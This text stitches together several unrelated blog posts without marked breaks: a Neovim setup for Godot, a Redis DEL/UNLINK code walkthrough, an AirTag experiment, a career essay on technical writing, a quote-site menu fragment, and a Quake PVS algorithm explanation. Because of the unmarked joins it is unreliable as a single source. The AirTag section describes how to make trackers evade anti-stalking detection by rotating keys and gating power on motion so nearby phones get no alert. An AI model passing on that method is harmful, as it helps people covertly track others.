19. January 2025

Since some months now, I'm happily using Neovim as an external editor with Godot Engine 3 and 4. Godot's internal text editor is fine, but my desire to use Neovim was too big.

This blog post covers a minimal setup to get Neovim working with Godot. So you can integrate it directly to your existing configuration or use it as a starting point.

Please note that some minimal knowledge about Linux and Neovim config files is needed to follow this blog post.

Technically you can also just use Godot with vanilla Vim/Neovim with no further changes. But you might miss some features like opening files when clicked in the file explorer or LSP support.

So lets set this up to let Godot add some magic to Neovim.

Neovim server mode

Before you can set Neovim as external editor in Godot, you need to start Neovim in server mode. Additionally to that, a pipe file is needed, where Godot can send commands to Neovim.

But first lets first create the nvim cache directory, where the file will be located.

mkdir -p ~/.cache/nvim

Now you can add the following code to the init.lua file.

local pipepath = vim.fn.stdpath("cache") .. "/server.pipe"
if not vim.loop.fs_stat(pipepath) then
  vim.fn.serverstart(pipepath)
end

This will create the pipe file and start Neovim in server mode on startup.

There is room for improvements here, like to start server mode only, if a project.godot file is found. So there is no issue if you run multiple instances of Neovim. With the current setup, only the first instance opened, will receive the commands.
I will update this section, when I find a better solution or if you already have one, please let me know.

Godot Editor Settings

Now Neovim is ready to be set as external editor in Editor Settings > Text Editor > External.

There you need to set the following values:

1. Enable Use External Editor.
2. Set Exec Path to the Neovim path.
3. Set Exec Flags to the following line.

--server /home/YOUR_USER/.cache/nvim/server.pipe --remote-send "<C-\><C-N>:e {file}<CR>:call cursor({line}+1,{col})<CR>"

Remember to replace YOUR_USER with your username.

This line will make Neovim open the file in a buffer and move your cursor to the indicated line and column. The +1 in cursor({line}+1) is to go to the correct line. For some reason without +1, the line above is selected.

Now you can use Neovim as external editor in Godot and open files with it.

LSP support

Godot has a built-in Language Server Protocol, that gives you features like code competition, error highlights and function definition lookups.

First you need to install the Neovim LSP plugin and set it up. I will use vim-plug as my plugin manager.

Plug('neovim/nvim-lspconfig')

local lspconfig = require('lspconfig')
lspconfig.gdscript.setup{}

Now you can access all special features when opening GDScript files.
You can try code competition with Ctrl + x and Ctrl + o. This will suggest also all class names, function names etc in your Godot project.
With Ctrl + ] you can jump to the definition of a function.

There can be issues with the LSP, like auto complete giving no results. In this case you can try restarting the LSP plugin with the command :LspRestart, or simply restart Neovim.

Keep in mind that the LSP runs within Godot, so you need a running editor instance with your project open.

Treesitter

To get better colored code highlighting, Treesitter does a perfect job. This plugin does also a lot of other things, like building a tree structure of your code. Other plugins might use that tree for better manipulation of your code.
But I use it only for nicer colors (probably, I'm not sure).

Plug('nvim-treesitter/nvim-treesitter', { ['do'] = ':TSUpdate' })

require'nvim-treesitter.configs'.setup {
    ensure_installed = {'gdscript', 'godot_resource', 'gdshader'},
    highlight = {
        enable = true,
    },
        auto_install = false,
        disable = function(lang, buf)
        local max_filesize = 100 * 1024         local ok, stats = pcall(vim.loop.fs_stat, vim.api.nvim_buf_get_name(buf))
        if ok and stats and stats.size > max_filesize then
            return true
        end
    end,
}

This setup of treesitter includes also some configuration. The plugins gets disabled for files bigger than 100KB, to keep opening Neovim fast. With auto_install = false, new languages don't get installed automatically, when opening a file of the respective language. Only the languages defined in ensure_installed are installed.

Here you can see a side by side comparison of Treesitter disabled on the left and enabled on the right.

Neovim already can colorize some of the code, but Treesitter can do it better.

Debugging

Godot has a built-in DebugAdapterProtocol, so it is directly integrated with Godot, exactly as the LSP. There are many Neovim Debug plugins out there, if you are already familiar with one, it's worth to check out if it supports Godot.

While writing this blog post, I used to have nvim-dap installed. This can attach to Godot's DAP and allow you to set breakpoints or run the game from Neovim. Then I also tried nvim-dap-ui, that adds the needed UI with variable values etc. to Neovim. But with this setup, I faced several crashes of Godot and a inconsistent workflow. So I found, in my opinion, and more stable and easier way to debug.

To be honest, the Godot's debug UI is hard to beat, with the remote tree inspector and all the rest. Secondly another huge problem for my game: launching specific scenes. I searched the web and haven't found a way to open a specific scene with nvim-dap.

I often run specific scenes, since my latest game got quite big. Having to start from the main scene every time, can get quite frustrating.
But you can run specific scenes from the editor, right? Yes! But somehow Godot get's the breakpoints set with nvim-dap, only when started with nvim-dap.

So I had to ask myself: how the f*ck was I debugging the last months??
And well, the ansewer is easy, I actually was not using nvim-dap, but the breakpoint keyword.

The following code will print Hello and then break and wait.

func _ready() -> void:
    print("Hello")
    breakpoint
    print("world!")

This can have the disadvantages that you need to write it, and remember to remove it. No worries, it won't break your game when exported. This keyword only works, when the project runs inside a Godot editor.

But the advantages are, that this breakpoints are written code, so they are persistent and can be shared with other developers or machines. And there is no need for an additional Neovim plugin.

The best part of all this, I wrote my first custom Neovim functions/commands (or however they are called). Seeing for the first time, why Neovim is so fun and truly hackable.

vim.api.nvim_create_user_command('GodotBreakpoint', function()
    vim.cmd('normal! obreakpoint' )
    vim.cmd('write' )
end, {})
vim.keymap.set('n', '<leader>b', ':GodotBreakpoint<CR>')

vim.api.nvim_create_user_command('GodotDeleteBreakpoints', function()
    vim.cmd('g/breakpoint/d')
end, {})
vim.keymap.set('n', '<leader>BD', ':GodotDeleteBreakpoints<CR>')

vim.api.nvim_create_user_command('GodotFindBreakpoints', function()
    vim.cmd(':grep breakpoint | copen')
end, {})
vim.keymap.set('n', '<leader>BF', ':GodotFindBreakpoints<CR>')

GodotBreakpoint adds the "breakpoint" String below the line the cursor is on, indented correctly.
GodotDeleteBreakpoints deletes all breakpoints lines in the current buffer.
GodotFindBreakpoints finds all breakpoints in the current project.

Now its possible to write, delete and search breakpoints within Neovim with simple keymaps.

Finally you need to enable also Debug with External Editor under the Script view. If this flag is not set, the internal editor will open while debugging.

Godot documentation

You can read documentation for a function with Shift + k, while the cursor is on a function. If you want to read or search Godot's full offline documentation, you can still do that in the Editor with the Search Help button. This will open the documentation in Godot's built-in editor.
I don't know if it's even possible to open also this files in Neovim, but for me this is totally fine.

Full Neovim configuration

Here you can find the full init.lua file, ready to be hacked and extended.
You can find my personal full Neovim configuration in my dofiles repo on Codeberg and Github. This contains some more plugins, color schemes and configurations.

local vim = vim
local Plug = vim.fn['plug#']
vim.call('plug#begin')
Plug('nvim-treesitter/nvim-treesitter', { ['do'] = ':TSUpdate' })
Plug('neovim/nvim-lspconfig')
vim.call('plug#end')

local pipepath = vim.fn.stdpath("cache") .. "/server.pipe"
if not vim.loop.fs_stat(pipepath) then
  vim.fn.serverstart(pipepath)
end

local lspconfig = require('lspconfig')
lspconfig.gdscript.setup{}

require'nvim-treesitter.configs'.setup {
    ensure_installed = {'gdscript', 'godot_resource', 'gdshader'},
    highlight = {
        enable = true,
    },
        auto_install = false,
        disable = function(lang, buf)
        local max_filesize = 100 * 1024         local ok, stats = pcall(vim.loop.fs_stat, vim.api.nvim_buf_get_name(buf))
        if ok and stats and stats.size > max_filesize then
            return true
        end
    end,
}

vim.api.nvim_create_user_command('GodotBreakpoint', function()
    vim.cmd('normal! obreakpoint' )
    vim.cmd('write' )
end, {})
vim.keymap.set('n', '<leader>b', ':GodotBreakpoint<CR>')

vim.api.nvim_create_user_command('GodotDeleteBreakpoints', function()
    vim.cmd('g/breakpoint/d')
end, {})
vim.keymap.set('n', '<leader>BD', ':GodotDeleteBreakpoints<CR>')

vim.api.nvim_create_user_command('GodotFindBreakpoints', function()
    vim.cmd(':grep breakpoint | copen')
end, {})
vim.keymap.set('n', '<leader>BF', ':GodotFindBreakpoints<CR>')

What I miss in Neovim

So far the biggest feature I miss, is the easy Ctrl + drag and drop of a Node into the text editor. This will automatically create the var with the correct Nodepath.

After some time I found a much better approach by using % and Access as Unique Name. With this you can access the Node, without having to write the full Node path.

@onready var healt_label: Label = $MarginContainer/HBoxContainer/VBoxContainer/HealthLabel

@onready var healt_label: Label = %HealthLabel

Another crucial advantage is that you can move the Node around the tree, or change parent Nodes, without having to adjust the path.

At the end of the day, being able to use Neovim pays back anyways, if you like it and are keen to keep learning. Or you already know everything about Vim/Neovim, but let's be honest, nobody does.

Every feedback is welcome

Feel free to write me an email at info@simondalvai.org and comment on Mastodon or HackerNews.

A couple of days back, I found myself debating the differences between Redis' UNLINK and DEL commands with my friend Sarthak in a social media comment section. An interesting take; I come across that the majority of the people seemed to believe is "DEL is a blocking command. while UNLINK is non-blocking - so UNLINK is better". I don't fully agree with this characterisation.

It's somewhat true - but it's not the full story. As an engineer, it's my moral duty to unnecessarily dive into the rabbit hole and dig into the Redis codebase to see the actual implementation. Let's see what's actually happening under the hood.

TLDR;

DEL vs UNLINK - the only difference is the way they free the value (freeing the key is straightforward). Respectfully, It will be completely wrong to just say one is blocking and another is not.

UNLINK is a smart command: it's not always non-blocking/async. It calculates the deallocation cost of an object, and if it is very small (cost of freeing < 64), it will just do what DEL is supposed to do and free the object ASAP. Otherwise, the object is sent to the background queue for processing.

What are UNLINK and DEL commands?

For my internet friends who aren't familiar with Redis - it's a super popular, distributed in-memory key-value database. As the name suggests, both UNLINK and DEL commands do the same thing - they remove the keys from Redis.

A quick Google search tells you why UNLINK was introduced in Redis 4.0, if we already had DEL. UNLINK is very similar to DEL but it performs the memory reclaiming in a different thread - so it's not blocking other operations, while DEL is. In simple terms, UNLINK just unlinks the key from the keyspace, and actual key removal happens later, asynchronously - so it's faster.

Fun fact - In redis 6.0, a new configuration lazyfree-lazy-user-del was introduced - so if this is set to true, your DEL command runs like UNLINK.

But how it's implemented internally?

DEL command - source code analysis

It doesn't take a genius to find the very famous db.c in redis codebase, and head over to delCommand method - thanks to Github symbol search.

void delCommand(client *c) {
delGenericCommand(c,server.lazyfree_lazy_user_del);
}

Not surprised - It just proxies the delGenericCommand method with the lazy flag which is sent as the value of lazyfree_lazy_user_del redis server config. I'm sure for unlinkCommand, they are gonna just set it to always true - neat.

/* This command implements DEL and UNLINK. */
void delGenericCommand(client *c, int lazy) {
int numdel = 0, j;
for (j = 1; j < c->argc; j++) {
// cleaning up already expired data 
if (expireIfNeeded(c->db,c->argv[j],0) == KEY_DELETED)
continue;
// ternary operator to call method based on the lazy flag
int deleted  = lazy ? dbAsyncDelete(c->db,c->argv[j]) :
dbSyncDelete(c->db,c->argv[j]);
// 
if (deleted) {
signalModifiedKey(c,c->db,c->argv[j]);
notifyKeyspaceEvent(NOTIFY_GENERIC,
"del",c->argv[j],c->db->id);
            server.dirty++;
            numdel++;
}
}
addReplyLongLong(c,numdel);
}

There is too much to go through - but this beautiful ternary operator got my attention - the lazy flag decides which method to call. Now, we will go deeper into dbSyncDelete and come back to dbAsyncDelete in UNLINK code analysis.

Hold on - Redis using j as variable name? Where are all those clean code evangelists lecturing me about meaningful variable names? never mind.

Let's get into dbSyncDelete. Let me guess - it shouldn't be hard deleting a key from a hash table. Ah, not really. My immature high-level language lover mind took garbage collectors for granted. For a language like C, it's very very interesting and important to pay attention to how memory gets released.

/* Delete a key, value and associated expiration entry if any, from the DB */
int dbSyncDelete(redisDb *db, robj *key) {
return dbGenericDelete(db, key, 0, DB_FLAG_KEY_DELETED);
}

Ah, it's a proxy to dbGenericDelete with async argument set as 0. Cool. Let's go to dbGenericDelete .

/* Helper for sync and async delete. */
int dbGenericDelete(redisDb *db, robj *key, int async, int flags) {
    dictEntry **plink;
int table;
int slot = getKeySlot(key->ptr);
    dictEntry *de = kvstoreDictTwoPhaseUnlinkFind(db->keys, slot, key->ptr, &plink, &table);
if (de) {
        robj *val = dictGetVal(de);
/* remove key from histogram */
updateKeysizesHist(db, slot, val->type, getObjectLength(val), 0);
/* If hash object with expiry on fields, remove it from HFE DS of DB */
if (val->type == OBJ_HASH)
hashTypeRemoveFromExpires(&db->hexpires, val);
/* RM_StringDMA may call dbUnshareStringValue which may free val, so we
* need to incr to retain val */
incrRefCount(val);
/* Tells the module that the key has been unlinked from the database. */
moduleNotifyKeyUnlink(key,val,db->id,flags);
/* We want to try to unblock any module clients or clients using a blocking XREADGROUP */
signalDeletedKeyAsReady(db,key,val->type);
/* We should call decr before freeObjAsync. If not, the refcount may be
* greater than 1, so freeObjAsync doesn't work */
decrRefCount(val);
if (async) {
/* Because of dbUnshareStringValue, the val in de may change. */
freeObjAsync(key, dictGetVal(de), db->id);
kvstoreDictSetVal(db->keys, slot, de, NULL);
}
/* Deleting an entry from the expires dict will not free the sds of
* the key, because it is shared with the main dictionary. */
kvstoreDictDelete(db->expires, slot, key->ptr);
kvstoreDictTwoPhaseUnlinkFree(db->keys, slot, de, plink, table);
return 1;
} else {
return 0;
}
}

Ahh I too found it overwhelming !! But I did find a couple of things really interesting here.

1. Key slot calculation

The method int slot = getKeySlot(key->ptr); calculates the slot for the given key. Redis uses a hash slot mechanism to distribute keys across nodes in a cluster. Shamelessly plugging my tweet that explains the mechanism in a little detail.

2. Two-phase linking

Redis moved away from the traditional way of removing the key long back. kvstoreDictTwoPhaseUnlinkFind method finds the key in the main dictionary using the slot number and the key. This is the first phase - it does not delete the key instead it sets up plink and table. In the second phase - key will be safely removed. kvstoreDictTwoPhaseUnlinkFree is what I'm referring to here. This immediately releases the memory.

3. Asynchronous deletion

The if (async) code block does a bunch of really nice things, like scheduling the memory to be freed up asynchronously. And also setting up the value of entry in main dict to NULL to mark it for deletion. We will dive into it in the UNLINK section.

4. Delete expiration data

Interesting thing to note is redis maintains 2 dictionary - the main key dictionary and expiration dictionary. So, as a key is deleted - it needs to be removed from the expiration dict as well - manually. This is what - kvstoreDictDelete method does.

Well - so what have you learnt here? The normal DEL command implementation is quite straight forward. Synchronously remove the key and release the memory using the two-phase linking mechanism. This is done in both the main key dictionary and expiration dictionary. And if there is an inner reference - recursive deletion comes to the rescue.

UNLINK command - source code analysis

As we already covered the core logic and the code is generic with the async flag being passed down, lets' dive straight into how async delete is actually happening.

if (async) {
/* Because of dbUnshareStringValue, the val in de may change. */
freeObjAsync(key, dictGetVal(de), db->id);
kvstoreDictSetVal(db->keys, slot, de, NULL);
}

Wohoo, jump to freeObjAsync.

void freeObjAsync(robj *key, robj *obj, int dbid) {
    size_t free_effort = lazyfreeGetFreeEffort(key,obj,dbid);
/* Note that if the object is shared, to reclaim it now it is not
* possible. This rarely happens, however sometimes the implementation
* of parts of the Redis core may call incrRefCount() to protect
* objects, and then call dbDelete().
* LAZYFREE_THRESHOLD = 64 
* */
if (free_effort > LAZYFREE_THRESHOLD && obj->refcount == 1) {
atomicIncr(lazyfree_objects,1);
bioCreateLazyFreeJob(lazyfreeFreeObject,1,obj);
} else {
decrRefCount(obj);
}
}

Damn, that's smart - it calculates the cost of deleting the object. Once it gets how expensive it is (free_effort indicates efforts in terms of CPU, time and memory usage may be?) - it decides to either free the memory immediately or delay it for later once it has enough CPU cycles to do it.

LAZYFREE_THRESHOLD is set as 64. And the check obj->refcount == 1 ensures that object is no-longer referenced anywhere else otherwise it might get stuck in removing it's references recursively.

atomicIncr is just an atomic increment counter operation on global variable lazyfree_objects that has the number of objects currently being freezed lazily. It helps redis in scheduling the operations in the background.

bioCreateLazyFreeJob is responsible for creating a job in background IO (BIO) to lazily free the object. lazyfreeFreeObject is a callback function defined on line 13 of this file.

How effort for deleting the key is calculated?

Redis' codebase says - the return value is not always the actual number of allocations the object is composed of, but a number proportional to it.

• for strings, it is always 1 as it does not require multiple allocations to free - so constant effort
• for list objects - it is the number of elements in the quicklist.
• for set objects - it is the number of elements in the hash table as set is backed by hashtable.
• for sorted set objects - it is the length of skiplist
• for hash objects - it is the number of elements in the hash table
• for stream objects - it is the number of RAX nodes + consumer groups + entries in pending entry list (PEL)
• for module - the process of calculating the value in this case seems a bit complicated for me to understand. It uses moduleGetFreeEffort.
• default, it's always 1.

The magic number LAZYFREE_THRESHOLD = 64

Although, there is no clear explanation of LAZYFREE_THRESHOLD as 64, so it seems a bit arbitrary. A couple of my internet stranger friends and chatGPT says this number was chosen by redis developers post a massive benchmarking. The consideration was trade-off such as performance vs blocking, memory management and avoiding overhead.

Ok, I trust that.

Now that I’ve wrapped up my ramblings, I invite your comments on it. If you find any technical inaccuracies, let me know, please. I'm active on X (twitter) as @the2ndfloorguy and if you are interested in what an unfunny & strange programmer will do next, see you there!

References, that I've used.

• Redis Codebase
• Lazy redis is better redis
• Stackoverflow

Updated 2025/01/12: Added go-haystack link and AirTag + IMU Proof of Concept

In 2022, I spent a week working with a small team analyzing how Bluetooth item trackers (eg: Apple AirTags, Tile) can be covertly used for malicious purposes, and developing processes and tools to detect them, as a part of GeekWeek 7.5, the Canadian Centre for Cyber Security’s (CCCS) annual cybersecurity workshop. I wrote about my experience here: /exploring-bluetooth-trackers-at-geekweek-7-5/.

Stolen Car Experience

I’ve revisited this experience a few times - once, earlier this year, when one of my friends shared his brother’s experience with car theft. The victim attempted to locate the car using the AirTag he’d hidden in the spare tire compartment, but apparently the thieves had detected and removed the device.

Stealth Air Tags

Tracking a stolen car seemed like an potentially interesting application for a clone ‘Stealth’ AirTag, which consists of small tweaks built on the work of SEEMOO Lab’s Open Haystack. The Stealth AirTag we built evaded detection by altering the AirTag clone’s keys and transmit power at random intervals. It could be further improved with the addition of an IMU (inertial measurement unit), such that it only broadcasts when it is on the move, making it incredibly tricky to find. For most people, a cloned AirTag is not very practical - the Open Haystack application required a Mac, and the setup required to connect it to the Apple Find My network wasn’t straightforward.

New Open Source FindMy Projects

I was thinking about this again recently when I came across the following projects:

• A collection of Python FindMy code: Everything you need to query Apple’s FindMy network!
• Track personal Bluetooth devices via Apple’s “Find My” network using OpenHaystack and Macless-Haystack with tools written in Go/TinyGo

I could envision low-volume custom AirTag clones, that would only broadcast their position when the IMU detected it was moving. The way Find My has been developed, I think it would be challenging for Apple to block these devices from leveraging its Find My network. This Python library would facilitate building a client side app, which could be packaged with the clone AirTag, and work around the challenges I had with the Open Haystack application. This would probably fall well outside of Apple’s Terms of Service - presumably if a market developed for clone devices, they could find a way to block access to non-official clients and modify their devices to avoid relaying the position of clone AirTags.

Digital Camouflage

Another solution would be to modify a genuine AirTag, to selectively turn it on and off. Envision a device similar to Elevation Lab’s TimeCapsule - 10-Year AirTag Battery.

To the Elevation Lab product, add a microcontroller and an IMU, which would control power to the AirTag.

If no movement is detected, the AirTag remains un-powered and does not broadcast. When movement is detected, power the AirTag, and start broadcasting. As the design is an accessory to a genuine AirTag, it remains usable with Apple’s software and devices. Power could be controlled to the AirTag in such a way to not trigger the tracking notification on nearby phones. A device could even be built to support multiple AirTags, and cycle power to each of them - this would have a similar impact to changing the keys seen on some clone Stealth AirTags. It’s like adding digital camouflage to an AirTag!

Proof of Concept

Although the idea was straightforward, and I had no need for such a device, I had all the parts, so I set about building a proof of concept, where the power was selectively supplied to an AirTag, based on a motion-driven algorithm running on an external microcontroller. Genuine AirTags now cost CAD$39, and I was a bit hesitant to solder leads on one of my AirTags. So I built a “dummy” CR2032 cell with power leads using two pennies (out of circulation in Canada since 2013!).

And - the AirTag wouldn’t power up with my dummy cell. I had previously found the Apple AirTag super sensitive to the batteries it accepts - I replaced the stock battery with Duracell CR2032s and it wouldn’t work - Duracell batteries have a bitter coating to discourage small children from swallowing them - I had to sand off the coating before the AirTag would power up.

So I decided to build my proof of concept with an AirTag clone - a “Loshall” tag compatible with Apple Find My. Note that the AliExpress listing indicates it is a Xiaomi product - it is not, but it did work with Apple Find My. I connected it to a circuit with an ESP32 microcontroller, an MPU-6050 IMU, a 2N2222 transistor, and an LED to indicate when power is being supplied to the AirTag.

With the circuit, I demonstrated how I could selectively power an AirTag based on motion detection. In the following video, you can see how when I move the breadboard, the LED lights up, and the AirTag emits its power up chirp.

YouTube Link: AirTag - only broadcasts when movement is detected

However, I’m sad to report, I somehow damaged the AirTag when I soldered on the leads. After my modifications, I could no longer find the AirTag with Find My - even when I used a real CR2032 cell. Although I still haven’t taken this PoC to full completion, and I used a clone AirTag, I’m confident it could be made to work - a genuine Apple AirTag could be modified in this manner to make it harder to detect.

The source code used for this demo is a small alteration of Adafruit’s MPU6050 motion detection example.

• Adafruit MPU6050 Example code
• AirTagCamouflage Demo

September 13, 2022

I originally wrote this post a short time into my first tech writing job on MongoDB's Server Docs team. I never ended up sharing it because, for a while, I wasn't sure if I would end up staying in the docs world or switching back into software development.

Less than a month ago, I got a new job running documentation at Gradle. My experience as a Developer Educator for MongoDB Realm Docs convinced me that documentation can scratch all of my developer itches -- building automation, infrastructure, and writing tutorials and code snippets.

I've added some thoughts at the end of the post and tightened up some language. But this post largely reflects my thoughts on working as a documentarian very early in my transition from software development. If you're currently pursuing a computer science degree, or attending a coding boot camp, or working as a developer, and it's not completely satisfying... maybe this will help.

I graduated from the University of Rochester with a B.S. in computer science and a B.A. in English in 2017. For over two years after graduation, I worked at Bloomberg as a software developer (called "FSD", or "Financial Software Developer") internally.

I spent half of that time working on a piece of internal-only software designed to make it easier to follow internal development best practices. This was stuff like jumpstarting continuous integration, providing project templates, and automating paperwork required to run services.

For the second half of my tenure at Bloomberg, I worked on a client-facing team that built both a UI and a middleware C++ layer for a report calculation engine. It was about as exciting as it sounds.

Overall, software development was a fun role. There were parts that I really liked, like digging deeply into unique, interesting optimization problems and algorithms. There also were parts I didn't like as much. That includes writing CRUD APIs or DAOs that felt like they should have been automatically generated by a script and "investigating" problems with such low impact, nobody truly cared if they were solved.

There were also parts that I felt just didn't properly gel with my personality, like most "social gatherings" and learning about financial instruments. Don't get me wrong -- there are aspects of finance that I find interesting, and parts that I think everyone should know. (Not necessarily the same parts)

"Time in the market trumps timing the market", "diversify your holdings", "make your money work for you"... these are tenets of personal finance that every responsible moneyholder ought to know. But learning about the inner workings of an obscure financial product that only analysts and professional investors will ever care about? Meh.

I guess there's always a silver lining, though: at least it beats working in advertising.

Anyway, software development was a mixed bag. Could I do it for my entire career? Absolutely. With the right team, I think software development could be rad. But despite the fact that my teammates at Bloomberg were all extremely kind and intelligent, I never really felt close enough to them to get to that point. At the end of the day, work was just work, and I didn't feel like anybody was paying enough attention (and I was never individually inspired enough) to justify putting in extra effort.

As a result, I never felt like software development scratched my creative itch the same way that college projects satisfied me.

At first, I thought that I just had to get used to my company and the subject matter of my work. I gave it a few months, but I still felt unfulfilled. Then I switched teams to try something different; maybe a larger team with younger team members and a tighter focus would fit me better?

After a year, it was... fine. I was doing well, but not great; at the end of the day, I didn't really feel like my work mattered. Eventually, I ended up browsing Hacker News "Who is Hiring" threads every month to see if the grass really was better on the other side. After all, many of my friends switched companies every couple of years; from what I've been told, it's the best way to increase your compensation when you're young. And one day a peculiar post caught my eye.

The role was "Technical Writer" for MongoDB's Server documentation group. I'd heard about technical writing before -- even thought about it as a career, though it seemed like internship opportunities were few and far between during college. But some friends had warned me away from it as a career, claiming that a lot of companies didn't really respect technical writers and you'd be better off as a developer if you had the chops to get hired as one. I still think that's true: on average, there are more opportunities to get hired as a developer and the roles pay better. But there are a few caveats to that statement that change the calculus:

• some companies treat writers like engineers
• technical experience (as a developer, not just education)
• culture
• pay isn't everything (but it's still good)
• you have to find the right compromises for satisfying work

Note: Here ends my original writing. What follows is a reflection by my slightly-older-hopefully-wiser 2022 self.

Wow. I had a pretty good read on this career over two years ago. Two points really struck me:

As a result, I never felt like software development scratched my creative itch the same way that college projects satisfied me.

Now that I'm years into documentation writing and working my second role, this is refreshing to hear. When I wrote software, especially internal-facing software with a captive audience, I knew deep down that it didn't really matter if I did an awesome job or a bad job.

Writing documentation for open source (or open source adjacent... damn you SSPL) projects, I take pride in my work. I know that crappy documentation will make people sad, and possibly push them away from using the product. I know that great documentation can save people from hours of frustration and pain. It reminds me a great deal of TAing back in college -- sure, I could phone it in and not prepare for a workshop or a review session. But when the students suffer from your laziness, you tend not to be (too) lazy.

With the right team, I think software development could be rad. But despite the fact that my teammates at Bloomberg were all extremely kind and intelligent, I never really felt close enough to them to get to that point.

The Realm Docs/Developer Education/Education Engineering team at MongoDB is rad. Working with them was rad. I like them so much I'm keeping in touch with most of my teammates, and even some other folks from the MongoDB documentation org.

Some of it might be time-based -- you have to get comfortable with a team before you can enjoy camaraderie. But it's also personality-based -- if you work with people with common interests (or just interesting interests!), you'll inevitably learn from them and their interests will cross-pollinate into your own life. I listen to podcasts, read blogs, read books, try out hobbies, and listen to music recommended by my MongoDB coworkers. I consider them friends and role models.

TL;DR: If you're not thrilled at your current software developer job, go out and get another one. Or try something else in the industry that scratches itches that aren't currently satisfied. I know this probably seems obvious from the outside, but don't let good compensation and comfort cloud your gut instinct to find something better. You might regret it... but you probably won't.

Browse:
Authors | Titles | Subjects | Word
Quotes (sort of) about the Web | Quotations about Quoting
Get a random quote

About this site | Other Quotation Sites

This is the fourth and final installment in the “Demystifying the PVS” series.

1. Portals and Quake
2. Coarse base visibility
3. Fine visibility via clipping
4. Portal flow brings it all together

So far we have

• constructed a graph with directed portals,
• computed a list of possibly visible leafs per portal, and
• learned how to estimate visibility through a sequence of three portals.

Almost done! We mix these three ingredients to get the final leaf-to-leaf visibilities. We follow the same recipe as we did in the coarse pass: A depth-first traversal from a portal’s destination leaf that recursively enters neighboring leaves through portals. It’s just spiced up with more accurate visibility tests.

Once all portals are ready, each leaf looks at its portals and adds all potentially visible leaves from each to its own PVS. Finally we’re done.

Recursive clipping by example

To recap what was explained previously, we have three portals: source, pass, and target. The source portal is the first one visible and where the traversal starts. The pass portal represents an opening known to visible from the source portal. The target portal is being tested for visibility through the other two portals. That’s done by clipping.

Many possible portal sequences are tested for each source portal. It’s not like in the coarse pass where a quick geometric test was enough. This time visibility through the whole sequence is captured in a shrinking pass portal.

Below is an illustrated step-by-step example of the algorithm. I’ve labeled the portals with their variable names used in my code.

Clipping a portal sequence

Flowing through portals in Python

Like said, the traversal happens like in the coarse visibilty case. A sketch looks like this:

# A simplified sketch of the full visibility calculation code.
# Doesn't actually run!

# Called once for each portal 'Ps'
def portal_flow(Ps: Portal):

  # The recursive leaf visitor function
  def leaf_flow(leafnum: int, mightsee: np.ndarray)
    Ps.vis[leafnum] = True  # Mark leaf visible

    for pt in leaf.portals:
      Pt = leaves[pt]

      # Can the previous portal possibly see the target leaf?
      if not mightsee[Pt.leaf]:
        continue

      # [Some portal clipping here]

      # If portal 'Pt' wasn't clipped away, recurse through it
      if Pt is not None:
        leaf_flow(...)
    
  # Start the traversal from Ps's destination leaf
  leaf_flow(Ps.leaf, Ps.mightsee)

# Call for every portal
for prt in portals:
  portal_flow(prt)

# Now each portal's 'vis' array has been populated.

The portal_flow function starts the traversal, just like base_portal_flow did in the coarse pass. The callstack looks something like the inset below.

The visibility results depend on the whole path traversed so far. That’s why in the sketch leaf_flow takes as the argument mightsee, a filtered portal-to-leaf visibility array.

In the beginning, mightsee contains source portal’s coarse visibility result: the leaves that may be visible from it. The array gets progressively thinner as the recursion proceeds. For the example sequence shown earlier it looks like below.

step  leaf  mightsee (x = visible)
----  ----- -------------------------
1.    8     [ x x x x x x x x . . . ] 
2.    7     [ x x x x x x x . . . . ]
3.    6     [ x x x x x x . . . . . ]
4.    5     [ x x x . x . . . . . . ]
5.    3     [ x x x . . . . . . . . ]
              1 2 3 4 5 6 7 8 9 1011   leaf

Notice how on the last step in leaf 3, we can’t enter back to leaf 5 because it’s not marked visible anymore in mightsee. The recursion may terminate based on just the array becoming so sparse that no more portals get entered. A portal getting clipped away completely is another way.

The full implementation

Here’s the whole thing. Compared to the sketch above, there’s more clipping, there’s filtering of the might array, and a new early out test for portals that don’t lead to any leaves we haven’t already seen.

# vis.py's recursive portal clipping

# Allocate the portal->leaf visibility matrix
portal_vis = np.zeros((num_portals, num_leaves), dtype=bool)

# Assign each portal a row of the matrix
for pi, Pi in enumerate(portals):
  Pi.vis = portal_vis[pi, :]

# We can accelerate the processing a bit if we know which portals already
# got their final visibility
portal_done = np.zeros(num_portals, dtype=bool)

def portal_flow(ps: int, Ps: Portal):
  def leaf_flow(
    leafnum: int,
    mightsee: np.ndarray,
    src_poly: Winding,
    pass_plane: Plane,
    pass_poly: Union[Winding, None],
  ):
    Ps.vis[leafnum] = True

    # Test every portal leading away from this leaf
    for pt in leaves[leafnum].portals:
      Pt = portals[pt]  # Candidate target portal

      # Can the previous portal possibly see the target leaf?
      if not mightsee[Pt.leaf]:
        continue

      # Use the final visibility array if the portal has been processed
      if portal_done[pt]:
        test = Pt.vis
      else:
        test = Pt.mightsee

      # Filter away any leaves that couldn't be seen by earlier portals
      might = np.bitwise_and(mightsee, test)

      # Skip if we could see only leaves that have already proven visible
      if not any(np.bitwise_and(might, np.bitwise_not(Ps.vis))):
        continue

      # Clip the target portal to source portal's plane
      if not (target_poly := clip_winding(Pt.winding, Ps.plane)):
        continue

      # Immediate neighbors don't need other checks
      if pass_poly is None:
        leaf_flow(Pt.leaf, might, src_poly, Pt.plane, target_poly)
        continue

      # Make sure the target and source portals are in front and behind
      # of the pass portal, respectively

      if not (target_poly := clip_winding(target_poly, pass_plane)):
        continue

      if not (src_clipped := clip_winding(src_poly, -pass_plane)):
        continue

      # Finally clip the target and source polygons with separating planes

      if test_level > 0:
        target_poly = clip_to_separators(
          src_clipped, Ps.plane, pass_poly, target_poly)
        if not target_poly:
          continue

      if test_level > 1:
        target_poly = clip_to_separators(
          pass_poly, pass_plane, src_clipped, target_poly, backside=True
        )
        if not target_poly:
          continue

      if test_level > 2:
        src_clipped = clip_to_separators(
          target_poly, Pt.plane, pass_poly, src_clipped)
        if not src_clipped:
          continue

      if test_level > 3:
        src_clipped = clip_to_separators(
          pass_poly, pass_plane, target_poly, src_clipped, backside=True
        )
        if not src_clipped:
          continue

      # If all the checks passed we enter the leaf behind portal 'Pt'.
      # The old target portal becomes the new pass portal. The 'might'
      # list is now filtered more. Both 'src_clipped' and 'target_poly'
      # polygons may have been clipped smaller.

      leaf_flow(Pt.leaf, might, src_clipped, Pt.plane, target_poly)

  leaf_flow(Ps.leaf, Ps.mightsee, Ps.winding, Ps.plane, None)
  portal_done[ps] = True

This is code directly from vis.py with a couple of extra comments. In the end it isn’t much simpler than the original RecursiveLeafFlow function.

